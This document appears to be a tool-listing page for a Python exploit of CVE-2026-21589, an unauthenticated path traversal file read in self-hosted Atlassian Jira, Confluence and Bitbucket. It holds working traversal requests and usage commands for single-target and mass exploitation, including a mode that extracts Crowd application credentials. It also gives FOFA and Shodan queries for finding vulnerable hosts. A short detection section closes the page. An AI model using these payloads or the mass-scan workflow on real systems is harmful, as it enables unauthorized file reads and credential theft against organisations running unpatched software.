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CVE-2026-21589 — Python PoC for CVE-2026-21589, an unauthenticated path traversal file read in Atlassian Data Center products via atlassian-plugins-webresource; includes check, exploit, and batch modes. | Kitploit
Tools/GitHubGitHub/murrez/cve-2026-21589
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GitHubmurrez/cve-2026-21589

CVE-2026-21589

Python PoC for CVE-2026-21589, an unauthenticated path traversal file read in Atlassian Data Center products via atlassian-plugins-webresource; includes check, exploit, and batch modes.

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CVE-2026-21589 — Atlassian pre-auth arbitrary file read

Python 3 PoC for CVE-2026-21589 — Atlassian Data Center / self-managed products — unauthenticated arbitrary file read inside the Tomcat web application root via atlassian-plugins-webresource path handling (:: → /).

FieldValue
CVECVE-2026-21589
VendorAtlassian
ProductsBitbucket, Confluence, Jira (Software / JSM), Bamboo, Crowd, Crucible, Fisheye (DC / on-prem)
TypeArbitrary file read (not write / RCE by itself)
AuthNone
CVSS 4.09.3 Critical (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H)
PoCbit pagehttps://pocbit.org/pocs/cve-2026-21589
Verify markerPOCBIT-21589-OK
Verified routes in PoCJira, Confluence, Bitbucket

PoC focus: check (WEB-INF probe + product markers), exploit (read known paths, optional crowd.properties parse), batch -j, JSONL + hits.txt / exploited.txt.


Description

Shared library atlassian-plugins-webresource serves static plugin assets under routes such as /download/resources/.... In vulnerable builds, Router.unescapeSlashes() converts :: to / after routing. Traversal segments shaped as ..:: become ../, bypassing slash-stripping in getResourceRelativeToWebResource() and reaching ResourceFactory file reads.

Limits (vendor + research):

  • No directory listing — exact file path must be known in advance.
  • Reads stay inside the web app root (not arbitrary filesystem outside Tomcat context).
  • Atlassian Cloud is reported patched; this PoC targets self-hosted instances.
  • Not a web shell primitive — read-only; further impact depends on configuration (e.g. Crowd SSO credentials in WEB-INF/classes/crowd.properties).

Fixed versions (examples)

ProductPatched at or above
Jira Software / JSM Data Center9.12.40, 10.3.26, 11.3.12
Confluence Data Center9.2.26, 10.2.19
Bitbucket Data Center9.4.26, 10.2.8, 10.5.1
Bamboo Data Center10.2.24, 12.1.12
Crowd Data Center6.3.7, 7.0.3, 7.1.7, 7.2.4
Crucible / Fisheye4.9.15

Mechanism

flowchart LR
  A["GET /download/resources/..."] --> B[Router]
  B --> C["unescapeSlashes (:: → /)"]
  C --> D[getResourceRelativeToWebResource]
  D --> E[ResourceFactory read]
  E --> F[Response body = file content]

Example requests (watchTowr)

Jira

GET /download/resources/jira.webresources:color-picker-popup/images/..::..::..::..::..::WEB-INF::web.xml HTTP/1.1

Confluence

GET /s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/images/..::..::..::..::..::..::..::..::WEB-INF::web.xml HTTP/1.1

Bitbucket (often urlrewrite.xml instead of web.xml)

GET /s/1.0/_/download/resources/com.atlassian.bitbucket.server.bitbucket-webpack-INTERNAL:avatar/avatar/..::..::..::..::..::WEB-INF::urlrewrite.xml HTTP/1.1

Optional impact chain (Crowd)

If Jira is integrated with Atlassian Crowd, WEB-INF/classes/crowd.properties may contain application.name and application.password. With network access to Crowd, that can lead to identity-admin actions (separate from this CVE; Crowd IP allowlisting may block direct access). This repository only reads and parses that file when present — it does not automate Crowd user creation.


Requirements

  • Python 3.10+
  • requests
pip install requests

Usage

cd CVE-2026-21589

# Vulnerability check (tries Jira → Confluence → Bitbucket; plain :: then URL-encoded ::)
python poc.py -u https://jira.example.com --mode check

# Same with JSON
python poc.py -u https://jira.example.com --mode check --json

# Read a specific file under web root
python poc.py -u https://jira.example.com --mode exploit --file WEB-INF/web.xml -o web.xml --insecure

# Try Crowd integration secrets (fails if file missing — check can still pass)
python poc.py -u https://jira.example.com --mode exploit --grab-crowd --insecure

# Force product route
python poc.py -u https://confluence.example.com --mode check --product confluence

# Batch scan
python poc.py --list targets.txt --mode check -j 25 --insecure
python poc.py --list hits.txt --mode exploit --grab-crowd -j 10 --insecure

# Mass exploit — read WEB-INF/web.xml on every URL in list
python poc.py --list list.txt --mode exploit --file WEB-INF/web.xml --insecure -j 6

Demo (mass exploit)

python poc.py --list list.txt --mode exploit --file WEB-INF/web.xml --insecure -j 6

Mass exploit — Jira WEB-INF/web.xml read (authorized targets only)

Sample terminal output: [VULN] confirms the probe; [EXP] with POCBIT-21589-OK:WEB-INF/web.xml means the file read succeeded. Summary line writes cve_2026_21589_exploit.jsonl.

FlagPurpose
--mode checkProbe WEB-INF; detect product via response markers
--mode exploitAfter check, read --file (default WEB-INF/classes/crowd.properties)
--grab-crowdExploit reads crowd.properties and prints parsed app credentials
--encode-colonsForce %3a%3a encoding (default: try plain then encoded)
--insecureSkip TLS certificate verification
-jThread count for --list

Outputs (batch): cve_2026_21589_results.jsonl, hits.txt, exploited.txt.

Interpreting results

  • Batch [VULN] — vulnerable Jira/Confluence/Bitbucket detected via WEB-INF marker.
  • Batch [EXP] with POCBIT-21589-OK:WEB-INF/web.xml — requested file read OK (see screenshot above).
  • Single-target [+] POCBIT-21589-OK jira @ … without [EXP] line — check passed; --grab-crowd may still fail if crowd.properties is missing.
  • Exit code 0 on exploit only when the requested file read validates; otherwise 1.

FOFA / asset discovery

Scope: self-managed hosts. Exclude cloud SaaS where possible:

host!="atlassian.net" && host!="jira.com"

Broad product fingerprints

title="Log in - Jira" || title="Log In - Jira"
body="ajs-version-number" || body="jira.webresources" || body="atlassian.jira"
header="X-AUSERNAME" || header="X-ASEN"

title="Log in - Confluence" || title="Log In - Confluence"
header="X-Confluence-Request-Time" || body="confluence.web.resources"

title="Log in - Bitbucket"
body="bitbucket.page" || body="com.atlassian.bitbucket"

Web-resource surface (same family as this CVE)

body="/download/resources/" && (body="atlassian" || title="Jira" || title="Confluence" || title="Bitbucket")

FOFA does not reliably expose patch level — always run python poc.py --mode check.

Shodan (examples): http.title:"Log in - Jira", http.headers.x_confluence_request_time, http.html:"jira.webresources".


Detection / IR

  • URL-decode access logs and look for .. adjacent to ::, %3a%3a, slashes, or backslashes (Atlassian advisory / CERT-EU 2026-015).
  • If WEB-INF or crowd.properties access is suspected, patch, rotate Crowd application passwords, and review Crowd audit logs.

References

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